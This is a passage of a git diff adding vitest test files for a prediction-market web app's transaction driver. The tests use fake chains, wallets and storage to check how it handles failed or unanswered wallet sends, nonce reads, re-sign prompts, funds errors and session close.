broadcastThenFail?: (tx: FlowTx) => boolean; + failBeforeBroadcast?: (tx: FlowTx) => boolean; +}) { + const byNonce: Array<{ hash: Hash; tx: FlowTx; block?: bigint }> = []; + const sends: FlowTx[] = []; + let head = 1n; + let failed = 0; + + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: head, logs: [] }) as unknown as TransactionReceipt; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + if (opts.failBeforeBroadcast?.(tx) && failed++ === 0) return Promise.reject(opts.error()); + const nonce = byNonce.length; + const hash = `0x${(nonce + 1).toString(16).padStart(64, "0")}` as Hash; + byNonce.push({ hash, tx }); + if (opts.broadcastThenFail?.(tx) && failed++ === 0) return Promise.reject(opts.error()); + byNonce[nonce]!.block = ++head; + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + + const sentWithNonce = ({ nonce }: { nonce: number }): Promise => { + const sent = byNonce[nonce]; + if (!sent) return Promise.resolve({ status: "none" }); + if (sent.block === undefined) return Promise.resolve({ status: "pending" }); + const { to, value = 0n, data = "0x" } = sent.tx; + return Promise.resolve({ status: "mined", hash: sent.hash, to, value, input: data, success: true }); + }; + + const landedSince = ({ fromBlock }: { fromBlock: bigint }): Promise => + Promise.resolve( + byNonce + .filter((sent) => sent.block !== undefined && sent.block >= fromBlock) + .map(({ tx }) => ({ to: tx.to, value: tx.value ?? 0n, input: tx.data ?? "0x", collateralReceived: WAD })), + ); + + /** The owner's count after block `at`, or with every broadcast where `at` is pending. */ + const countAt = (at: bigint | "pending") => + at === "pending" ? byNonce.length : byNonce.filter((sent) => sent.block !== undefined && sent.block <= at).length; + + /** The app's node over the same chain, as the reader reads it. */ + const client = { + getTransactionCount: ({ blockTag, blockNumber }: { blockTag?: "latest" | "pending"; blockNumber?: bigint }) => + Promise.resolve(countAt(blockNumber ?? (blockTag === "pending" ? "pending" : head))), + getBlockNumber: () => Promise.resolve(head), + getBlock: ({ blockNumber }: { blockNumber: bigint }) => + Promise.resolve({ + number: blockNumber, + transactions: byNonce.flatMap((sent, nonce) => + sent.block === blockNumber + ? [ + { + from: addresses.owner, + nonce, + hash: sent.hash, + to: sent.tx.to, + value: 0n, + input: sent.tx.data ?? "0x", + }, + ] + : [], + ), + }), + getTransactionReceipt: () => Promise.resolve({ status: "success" }), + } as unknown as PublicClient; + + return { + gateway, + client, + /** The owner's counts on a node `lag()` blocks behind the head, which has seen no broadcast past them. */ + countsBehind: (lag: () => bigint) => (_owner: Address, _tag: "latest" | "pending") => + Promise.resolve(countAt(head - lag())), + deposits: () => sends.filter(isDeposit).length, + batches: () => sends.filter((tx) => tx.to === addresses.executor), + /** Mines `tx`, which no read had seen, under the owner's next nonce; `pending` leaves it broadcast. */ + surfaces: (tx: FlowTx, pending = false) => { + const nonce = byNonce.length; + byNonce.push({ + hash: `0x${(nonce + 1).toString(16).padStart(64, "0")}` as Hash, + tx, + ...(pending ? {} : { block: ++head }), + }); + }, + land: () => { + for (const sent of byNonce) if (sent.block === undefined) sent.block = ++head; + }, + /** Mines a transfer elsewhere under the owner's next nonce. */ + takeNonce: () => { + const nonce = byNonce.length; + byNonce.push({ + hash: `0x${(nonce + 1).toString(16).padStart(64, "f")}` as Hash, + tx: { to: addresses.executor, data: "0x" }, + block: ++head, + }); + }, + reader: { + ...fakeReader({ deployed: true }), + latestBlock: () => Promise.resolve(head), + nextNonce: () => Promise.resolve(byNonce.length), + hasPending: () => Promise.resolve(byNonce.some((sent) => sent.block === undefined)), + sentWithNonce, + landedSince, + }, + }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +/** Ten minutes, the hold on a send whose nonce reads unused. */ +const HOLD_MS = 600_000; + +const clock = { at: 1_700_000_000_000 }; + +function driverOn( + fake: { gateway: TxGateway; reader: PredictReader }, + store = createFlowRunStore({ storage: createMemoryStorage() }), + request: PredictRequest = snapshot(), +) { + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => request, + store, + now: () => clock.at, + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + return { driver, store }; +} + +describe("createPredictRun when a send errors after the wallet broadcast it", () => { + it("keeps the run through reset, so Close and Predict sign the deposit once", async () => { + const fake = chain({ error: internalError, broadcastThenFail: isDeposit }); + const { driver, store } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.reason).toBe("pending"); + expect(driver.getProgress().moneyMoved).toBe(true); + + // the popup's Close and Predict both reset a halted run with no hash + driver.reset(); + expect(store.load(FLOW_ID)).not.toBeNull(); + driver.dispose(); + + fake.land(); + const { driver: next } = driverOn(fake, store); + next.start(); + await vi.waitFor(() => expect(next.getProgress().stage).toBe("review")); + next.resume(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(next.getProgress().stage)); + + expect(next.getProgress().stage).toBe("complete"); + expect(fake.deposits()).toBe(1); + }); + + it("holds the stored run against the card's Discard while the send is unresolved", async () => { + const fake = chain({ error: internalError, broadcastThenFail: isDeposit }); + const { driver, store } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + driver.dispose(); + + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(true); + discardRun(store, SESSION, addresses.owner); + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("holds a coded error whose nonce reads unused, and signs nothing again within ten minutes", async () => { + const fake = chain({ error: internalError, failBeforeBroadcast: isDeposit }); + const { driver, store } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure).toEqual({ reason: "held", retryable: true }); + expect(driver.getProgress().unanswered).toBe(true); + + driver.reset(); + expect(store.load(FLOW_ID)).not.toBeNull(); + + clock.at += HOLD_MS - 1; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + expect(fake.deposits()).toBe(1); + }); + + it("asks before signing again once the nonce stays unused for ten minutes, and signs on the answer", async () => { + const fake = chain({ error: internalError, failBeforeBroadcast: isDeposit }); + const { driver } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + clock.at += HOLD_MS; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure).toEqual({ reason: "resign", retryable: true })); + expect(fake.deposits()).toBe(1); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.deposits()).toBe(2); + }); + + it("asks before signing again when it recovers a held send past ten minutes", async () => { + const fake = chain({ error: internalError, failBeforeBroadcast: isDeposit }); + const { driver, store } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + driver.dispose(); + clock.at += HOLD_MS; + + const { driver: next } = driverOn(fake, store); + next.recover(); + await vi.waitFor(() => expect(next.getProgress().stage).toBe("review")); + next.resume(); + await vi.waitFor(() => expect(next.getProgress().failure?.reason).toBe("resign")); + expect(fake.deposits()).toBe(1); + }); + + it("signs again without asking once another transaction took the held send's nonce", async () => { + const fake = chain({ error: internalError, failBeforeBroadcast: isDeposit }); + const { driver } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + fake.takeNonce(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.deposits()).toBe(2); + }); + + it("holds a send whose internal error reads like a decline, since only a decline's code proves nothing went out", async () => { + const fake = chain({ + error: () => + new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error: request rejected"), { code: -32603 }), + }), + broadcastThenFail: isDeposit, + }); + const { driver, store } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure?.reason).toBe("pending"); + + driver.reset(); + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("holds a send whose nonce the wallet's node, a block behind as it is sent, reads as one already used", async () => { + const fake = chain({ error: internalError, failBeforeBroadcast: isDeposit }); + fake.takeNonce(); + let lag = 1n; + const nodes = createPredictReader({ + client: fake.client, + sessionId: SESSION, + collateral: addresses.collateral, + walletNonce: fake.countsBehind(() => lag), + }); + const { nextNonce, sentWithNonce, hasPending } = nodes; + const gateway = { + ...fake.gateway, + sendTransaction: (tx: FlowTx) => { + lag = 0n; + return fake.gateway.sendTransaction(tx); + }, + }; + const { driver } = driverOn({ ...fake, gateway, reader: { ...fake.reader, nextNonce, sentWithNonce, hasPending } }); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure).toEqual({ reason: "held", retryable: true }); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + expect(fake.deposits()).toBe(1); + }); + + it("reads no nonce for a rejection", async () => { + const fake = chain({ + error: () => new UserRejectedRequestError(new Error("User denied transaction signature.")), + failBeforeBroadcast: isDeposit, + }); + const sentWithNonce = vi.spyOn(fake.reader, "sentWithNonce"); + const { driver } = driverOn(fake); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure?.reason).toBe("rejected"); + expect(sentWithNonce).not.toHaveBeenCalled(); + }); +}); + +describe("createPredictRun when the visitor answers Sign again", () => { + /** Two batches; the second's send errors before any read sees it, and is held. */ + async function heldSecondBatch() { + const fake = chain({ + error: internalError, + failBeforeBroadcast: (tx) => tx.to === addresses.executor && fake.batches().length === 2, + }); + const reader = { + ...fake.reader, + optionStates: fakeReader({ state: () => chainState({ underlying: WAD }) }).optionStates, + blockGasLimit: () => Promise.resolve(gasLimitFor(1)), + }; + const { driver } = driverOn( + { gateway: fake.gateway, reader }, + undefined, + snapshot({ options: [option(1), option(2)] }), + ); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("held")); + clock.at += HOLD_MS; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("resign")); + expect(fake.batches()).toHaveLength(2); + return { fake, driver, held: fake.batches()[1]! }; + } + + it("signs nothing when the held batch mined while the ask was shown", async () => { + const { fake, driver, held } = await heldSecondBatch(); + fake.surfaces(held); + + driver.retry(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + expect(driver.getProgress().stage).toBe("complete"); + expect(fake.batches()).toHaveLength(2); + }); + + it("says it is pending when the held batch was broadcast while the ask was shown", async () => { + const { fake, driver, held } = await heldSecondBatch(); + fake.surfaces(held, true); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("pending")); + expect(fake.batches()).toHaveLength(2); + }); + + it("signs the batch again when its nonce still reads unused", async () => { + const { fake, driver } = await heldSecondBatch(); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.batches()).toHaveLength(3); + }); +}); + +describe("createPredictRun recovering a held send after the session closed", () => { + it("reads how the send ended and lets the run go, signing nothing", async () => { + const fake = chain({ error: internalError, broadcastThenFail: isDeposit }); + const closesAt = 1_800_000_000; + let now = BigInt(closesAt - 60); + const reader = { ...fake.reader, latestTimestamp: () => Promise.resolve(now) }; + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const open = () => { + const driver = createPredictRun({ + gateway: fake.gateway, + reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + closesAt, + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + return driver; + }; + + const first = open(); + first.start(); + await vi.waitFor(() => expect(first.getProgress().failure?.reason).toBe("pending")); + first.dispose(); + fake.land(); + now = BigInt(closesAt + 60); + const sentBefore = fake.deposits(); + + const reopened = open(); + reopened.recover(); + await vi.waitFor(() => expect(reopened.getProgress().failure?.reason).toBe("closed")); + expect(fake.deposits()).toBe(sentBefore); + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(false); + reopened.reset(); + expect(store.load(FLOW_ID)).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.sendFailure.test.ts b/apps/web/src/features/predict/run/__tests__/driver.sendFailure.test.ts new file mode 100644 index 00000000..5a8dd52b --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.sendFailure.test.ts @@ -0,0 +1,160 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { chainState, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import type { PredictReader } from "../../flow/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictProgress } from "../types"; + +/** How a node's refusal reaches the app: an internal JSON-RPC error, wrapped by the client. */ +const nodeRefusal = (details: string) => + new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { code: -32603, details }), + }); + +/** A wallet whose send number `failAt` fails with `error`, and whose chain mines everything else. */ +function failingGateway(error: Error, failAt = 1): TxGateway { + let sends = 0; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + return { + sendTransaction: (_tx: FlowTx) => { + sends += 1; + if (sends === failAt) return Promise.reject(error); + return Promise.resolve(`0x${sends.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +async function haltOn(error: Error, opts: { failAt?: number; reader?: PredictReader } = {}): Promise { + const driver = createPredictRun({ + gateway: failingGateway(error, opts.failAt), + reader: opts.reader ?? fakeReader({ deployed: true, state: () => chainState() }), + quoter: fakeQuoter(), + flowId: `predict-send-failure-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snapshot(), + unansweredSend: { waitMs: 10, pollMs: 5 }, + }); + drivers.push(driver); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + return driver.getProgress(); +} + +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +const NETWORK = message({ + stage: "halted", + steps: [], + leftOut: [], + batchesDone: 0, + batches: 0, + failure: { reason: "rpc", retryable: true }, +}); + +describe("createPredictRun when the node refuses a send", () => { + it("says the wallet is short of funds, not that the network is slow, and can be tried again", async () => { + const progress = await haltOn( + nodeRefusal( + "Sender doesn't have enough funds to send tx. The max upfront cost is: 9950003977216234881024 and the sender's balance is: 9949997223809980566670.", + ), + ); + + expect(progress.failure).toEqual({ reason: "funds", retryable: true }); + expect(progress.moneyMoved).toBeUndefined(); + expect(message(progress)).not.toBe(NETWORK); + }); + + it("asks for the network fee, not a lower amount, once the deposit has gone through", async () => { + const before = await haltOn(nodeRefusal("insufficient funds for gas * price + value")); + const after = await haltOn(nodeRefusal("insufficient funds for gas * price + value"), { failAt: 2 }); + + expect(after.failure).toEqual({ reason: "funds", retryable: true }); + expect(after.moneyMoved).toBe(true); + expect(message(after)).not.toBe(message(before)); + expect(message(after)).not.toMatch(/lower the amount/i); + }); + + it("reads the reason a wallet puts only in the error's data", async () => { + const progress = await haltOn( + new Error("Transaction failed", { + cause: Object.assign(new Error("Internal JSON-RPC error."), { + code: -32603, + data: { message: "insufficient funds for gas * price + value" }, + }), + }), + ); + + expect(progress.failure?.reason).toBe("funds"); + }); + + it("reads a client's insufficient-funds wording the same way", async () => { + const progress = await haltOn(nodeRefusal("insufficient funds for gas * price + value")); + + expect(progress.failure?.reason).toBe("funds"); + }); + + it("calls a send the node would revert a revert, not a slow network", async () => { + const progress = await haltOn( + nodeRefusal( + "Error: VM Exception while processing transaction: reverted with custom error 'ERC20InsufficientBalance(\"0x01\", 0, 1)'", + ), + ); + + expect(progress.failure?.reason).toBe("reverted"); + expect(message(progress)).not.toBe(NETWORK); + }); + + it("holds a send whose internal error names no cause, since the wallet's node may have taken it", async () => { + const progress = await haltOn(nodeRefusal("Internal error")); + + expect(progress.failure).toEqual({ reason: "held", retryable: true }); + expect(progress.unanswered).toBe(true); + }); +}); + +describe("createPredictRun after the deposit is sent", () => { + it("says money moved when a read after the deposit fails", async () => { + const reader = fakeReader({ deployed: true, state: () => chainState() }); + const gateway = failingGateway(new Error("never sent"), 99); + let sent = false; + const send = gateway.sendTransaction; + gateway.sendTransaction = (tx) => { + sent = true; + return send(tx); + }; + // reads before the deposit see an empty trade wallet; the one after it fails + reader.collateralBalance = () => + sent ? Promise.reject(new Error("fetch failed", { cause: new Error("socket") })) : Promise.resolve(0n); + + const driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + flowId: "predict-read-after-deposit", + ctx: () => ctx(), + // an xDAI deposit reads what it minted once it lands + snapshot: () => snapshot({ depositNative: true }), + }); + drivers.push(driver); + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + const progress = driver.getProgress(); + expect(sent).toBe(true); + expect(progress.failure?.retryable).toBe(true); + expect(progress.moneyMoved).toBe(true); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.sendJournal.test.ts b/apps/web/src/features/predict/run/__tests__/driver.sendJournal.test.ts new file mode 100644 index 00000000..d39155df --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.sendJournal.test.ts @@ -0,0 +1,256 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStorage, + type FlowTx, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { LandedTx, PredictCtx, PredictSnapshot, SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import { discardRun, hasPendingTransaction, predictFlowId } from "../interrupted"; +import type { PredictDriver } from "../types"; + +const SESSION = "session-1"; +const FLOW_ID = predictFlowId(SESSION, addresses.owner); + +const isBatch = (tx: FlowTx) => tx.to === addresses.executor; + +function copyStorage(from: FlowRunStorage): FlowRunStorage { + const copy = createMemoryStorage(); + for (const key of from.keys()) copy.setItem(key, from.getItem(key)!); + return copy; +} + +/** + * A chain that mines the owner's sends in nonce order. The wallet prompt for the `hangAt`-th batch stays open: + * its call never answers, and `approve()` later broadcasts it at the next nonce, unmined until `land()`. + */ +function chain(opts: { hangAt?: number } = {}) { + const byNonce: Array<{ hash: Hash; tx: FlowTx; block?: bigint }> = []; + const sends: FlowTx[] = []; + let head = 1n; + let batches = 0; + let open: FlowTx | undefined; + let onPrompt: (() => void) | undefined; + + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: head, logs: [] }) as unknown as TransactionReceipt; + + const broadcast = (tx: FlowTx) => { + const hash = `0x${(byNonce.length + 1).toString(16).padStart(64, "0")}` as Hash; + byNonce.push({ hash, tx }); + return hash; + }; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + if (isBatch(tx) && ++batches === opts.hangAt) { + open = tx; + onPrompt?.(); + return new Promise(() => {}); + } + const hash = broadcast(tx); + byNonce[byNonce.length - 1]!.block = ++head; + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + + const sentWithNonce = ({ nonce }: { nonce: number }): Promise => { + const sent = byNonce[nonce]; + if (!sent) return Promise.resolve({ status: "none" }); + if (sent.block === undefined) return Promise.resolve({ status: "pending" }); + const { to, value = 0n, data = "0x" } = sent.tx; + return Promise.resolve({ status: "mined", hash: sent.hash, to, value, input: data, success: true }); + }; + + const landedSince = ({ fromBlock }: { fromBlock: bigint }): Promise => + Promise.resolve( + byNonce + .filter((sent) => sent.block !== undefined && sent.block >= fromBlock) + .map(({ tx }) => ({ to: tx.to, value: tx.value ?? 0n, input: tx.data ?? "0x", collateralReceived: WAD })), + ); + + return { + gateway, + batchSends: () => sends.filter(isBatch).length, + sends: () => sends.length, + prompted: () => new Promise((resolve) => (open ? resolve() : (onPrompt = resolve))), + /** The visitor approves the open prompt after the tab that asked is gone. */ + approve: () => broadcast(open!), + land: () => { + for (const sent of byNonce) if (sent.block === undefined) sent.block = ++head; + }, + reader: { + // every option holds underlying, so a batch after the first, which splits nothing, still trades + ...fakeReader({ deployed: true, blockGasLimit: gasLimitFor(1), state: () => chainState({ underlying: WAD }) }), + latestBlock: () => Promise.resolve(head), + nextNonce: () => Promise.resolve(byNonce.length), + hasPending: () => Promise.resolve(byNonce.some((sent) => sent.block === undefined)), + sentWithNonce, + landedSince, + }, + }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function driverOn(fake: ReturnType, storage: FlowRunStorage = createMemoryStorage()) { + const store = createFlowRunStore({ storage }); + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot({ options: [option(1), option(2)] }), + store, + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + return { driver, store, storage }; +} + +/** Starts a two-batch run, single option each, and returns the storage a tab closed at the second batch's prompt leaves. */ +async function closedAtSecondBatch(fake: ReturnType) { + const { driver, storage } = driverOn(fake); + driver.start(); + await fake.prompted(); + // the prompt is open once the wallet call is made; the tab closes with nothing more written + return { driver, left: copyStorage(storage) }; +} + +async function recoverAndResume(fake: ReturnType, storage: FlowRunStorage) { + const { driver } = driverOn(fake, storage); + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("review")); + driver.resume(); + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + return driver; +} + +describe("createPredictRun with a wallet prompt left open as the tab closed", () => { + it("stores the send with the run before the wallet is asked, so Discard keeps it", async () => { + const fake = chain({ hangAt: 2 }); + const { left } = await closedAtSecondBatch(fake); + + const store = createFlowRunStore({ storage: left }); + expect(store.load(FLOW_ID)?.snapshot.unanswered?.["predict-2"]).toBeDefined(); + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(true); + discardRun(store, SESSION, addresses.owner); + expect(store.load(FLOW_ID)).not.toBeNull(); + }); + + it("signs a later batch approved after the close no second time while it is pending", async () => { + const fake = chain({ hangAt: 2 }); + const { left } = await closedAtSecondBatch(fake); + fake.approve(); + + const driver = await recoverAndResume(fake, left); + expect(driver.getProgress().failure?.reason).toBe("pending"); + expect(fake.batchSends()).toBe(2); + + fake.land(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.batchSends()).toBe(2); + }); + + it("skips a later batch approved after the close once it mined", async () => { + const fake = chain({ hangAt: 2 }); + const { left } = await closedAtSecondBatch(fake); + fake.approve(); + fake.land(); + + const driver = await recoverAndResume(fake, left); + expect(driver.getProgress().stage).toBe("complete"); + expect(fake.batchSends()).toBe(2); + }); + + it("keeps the send with the run when the popup is disposed while the prompt is open", async () => { + const fake = chain({ hangAt: 2 }); + const { driver, storage } = driverOn(fake); + driver.start(); + await fake.prompted(); + driver.dispose(); + fake.approve(); + fake.land(); + + const next = await recoverAndResume(fake, storage); + expect(next.getProgress().stage).toBe("complete"); + expect(fake.batchSends()).toBe(2); + }); +}); + +describe("createPredictRun settling a held send it finds mined", () => { + it("never stores the step pending with neither its hash nor its held send", async () => { + const fake = chain({ hangAt: 2 }); + const { left } = await closedAtSecondBatch(fake); + fake.approve(); + fake.land(); + + // every record written, read back as a reload would + const written: Array<{ status?: string; held: boolean }> = []; + const watched: FlowRunStorage = { + ...left, + keys: () => left.keys(), + getItem: (key) => left.getItem(key), + removeItem: (key) => left.removeItem(key), + setItem: (key, value) => { + left.setItem(key, value); + const record = createFlowRunStore({ storage: left }).load(FLOW_ID); + const step = record?.steps.find((each) => each.stepId === "predict-2"); + written.push({ status: step?.outcome.status, held: Boolean(record?.snapshot.unanswered?.["predict-2"]) }); + }, + }; + + const driver = await recoverAndResume(fake, watched); + expect(driver.getProgress().stage).toBe("complete"); + expect( + written.filter(({ status, held }) => (status === "pending" || status === "awaiting-signature") && !held), + ).toEqual([]); + }); +}); + +describe("createPredictRun with storage that refuses the send's record", () => { + it("opens no wallet, stops at storage, and leaves nothing held", async () => { + vi.spyOn(console, "error").mockImplementation(() => {}); + const fake = chain(); + const memory = createMemoryStorage(); + const refusing: FlowRunStorage = { + ...memory, + setItem: (key, value) => { + if (value.includes('"unanswered"')) throw new DOMException("quota", "QuotaExceededError"); + memory.setItem(key, value); + }, + }; + const { driver } = driverOn(fake, refusing); + + driver.start(); + + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure).toEqual({ reason: "storage", retryable: true }); + expect(driver.getProgress().unanswered).toBeUndefined(); + expect(fake.sends()).toBe(0); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.sessionClose.test.ts b/apps/web/src/features/predict/run/__tests__/driver.sessionClose.test.ts new file mode 100644 index 00000000..c943a72b --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.sessionClose.test.ts @@ -0,0 +1,112 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import { createPredictRun } from "../driver"; +import type { PredictDriver } from "../types"; + +const CLOSES_AT = 1_800_000_000; + +/** A chain whose clock is `clock.now`, in seconds; every send mines. */ +function chainAt(clock: { now: number }) { + const sends: FlowTx[] = []; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n, logs: [] }) as unknown as TransactionReceipt; + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + return Promise.resolve(`0x${sends.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + const reader = { ...fakeReader({ deployed: true }), latestTimestamp: () => Promise.resolve(BigInt(clock.now)) }; + return { gateway, reader, sends }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function driverOn(chain: ReturnType) { + const driver = createPredictRun({ + gateway: chain.gateway, + reader: chain.reader, + quoter: fakeQuoter(), + flowId: `predict-close-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snapshot(), + closesAt: CLOSES_AT, + }); + drivers.push(driver); + return driver; +} + +describe("createPredictRun at the session's close", () => { + it("signs nothing when the chain's clock has passed the close as Predict is pressed", async () => { + const chain = chainAt({ now: CLOSES_AT }); + const driver = driverOn(chain); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure).toEqual({ reason: "closed", retryable: false }); + expect(chain.sends).toEqual([]); + }); + + it("stops before the next signed step once the close passes mid-run", async () => { + const clock = { now: CLOSES_AT - 30 }; + const chain = chainAt(clock); + const send = chain.gateway.sendTransaction; + chain.gateway.sendTransaction = (tx, options) => { + // the deposit lands as the session closes + if (tx.to === addresses.collateral) clock.now = CLOSES_AT + 5; + return send(tx, options); + }; + const driver = driverOn(chain); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure).toEqual({ reason: "closed", retryable: false }); + expect(chain.sends.map((tx) => tx.to)).toEqual([addresses.collateral]); + }); + + it("opens no wallet once the close passes after the batch was built", async () => { + const clock = { now: CLOSES_AT - 30 }; + const chain = chainAt(clock); + let batchBuilt = false; + const reader = { + ...chain.reader, + // the batch's reads before the wallet opens are the last, and the close passes while they answer + nextNonce: () => { + if (batchBuilt) clock.now = CLOSES_AT + 5; + return Promise.resolve(chain.sends.length); + }, + optionStates: (args: Parameters[0]) => { + // the route check reads them too, before anything is sent + if (chain.sends.length > 0) batchBuilt = true; + return chain.reader.optionStates(args); + }, + }; + const driver = createPredictRun({ + gateway: chain.gateway, + reader, + quoter: fakeQuoter(), + flowId: "predict-close-built", + ctx: () => ctx(), + snapshot: () => snapshot(), + closesAt: CLOSES_AT, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + + expect(driver.getProgress().failure).toEqual({ reason: "closed", retryable: false }); + expect(chain.sends.map((tx) => tx.to)).toEqual([addresses.collateral]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.stepStatus.test.ts b/apps/web/src/features/predict/run/__tests__/driver.stepStatus.test.ts new file mode 100644 index 00000000..aab512c5 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.stepStatus.test.ts @@ -0,0 +1,75 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi 